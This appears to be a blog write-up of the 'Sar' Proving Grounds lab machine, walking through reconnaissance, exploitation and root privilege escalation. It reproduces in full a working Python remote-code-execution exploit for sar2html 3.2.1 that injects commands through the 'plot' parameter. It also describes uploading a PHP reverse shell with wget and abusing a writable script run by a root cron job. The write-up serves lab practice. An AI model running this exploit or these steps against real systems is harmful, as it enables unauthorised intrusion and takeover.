Sar
This is my first Proving grounds machine.

Starting with an nmap scan and i find 2 ports open. Ports 80 & 22

Starting attack off with port 80
visiting the webpage, we have a default apache web page, nothing in comments

Looking at the robots.txt & we have somthing interesting.

now visiting the new endpoint

i did a little research & found a known exploit for this which we’ll use to exploit;

now poc;
# Exploit Title: sar2html 3.2.1 - 'plot' Remote Code Execution
# Date: 27-12-2020
# Exploit Author: Musyoka Ian
# Vendor Homepage:https://github.com/cemtan/sar2html
# Software Link: https://sourceforge.net/projects/sar2html/
# Version: 3.2.1
# Tested on: Ubuntu 18.04.1
#!/usr/bin/env python3
import requests
import re
from cmd import Cmd
url = input("Enter The url => ")
class Terminal(Cmd):
prompt = "Command => "
def default(self, args):
exploiter(args)
def exploiter(cmd):
global url
sess = requests.session()
output = sess.get(f"{url}/index.php?plot=;{cmd}")
try:
out = re.findall("<option value=(.*?)>", output.text)
except:
print ("Error!!")
for ouut in out:
if "There is no defined host..." not in ouut:
if "null selected" not in ouut:
if "selected" not in ouut:
print (ouut)
print ()
if __name__ == ("__main__"):
terminal = Terminal()
terminal.cmdloop()

now we can get a reverse shell of course 😉
I got a copy of the pentest monkey php reverse shell to my local machine, then hosted a http python server & uploaded reverse shell with wget on victim machine;

now we can stablize the shell, get user.txt & enumerate to elevate privilege;
looking around, we find a crontab running that lets the root user to execute a finally.sh file which in turn executes a write.sh file.
Apparently we can’t write to finally.sh file but can for write.sh
So i uploaded a php reverse shell, edited the write.sh file to call my newly uploaded php reverse shell script which gives me a root shell after the crontabs runs.


And we can read root files even root.txt 😉

####RESOURCES https://www.exploit-db.com/exploits/47204
https://portal.offensive-security.com/proving-grounds/play
Enjoy Reading This Article?
Here are some more articles you might like to read next: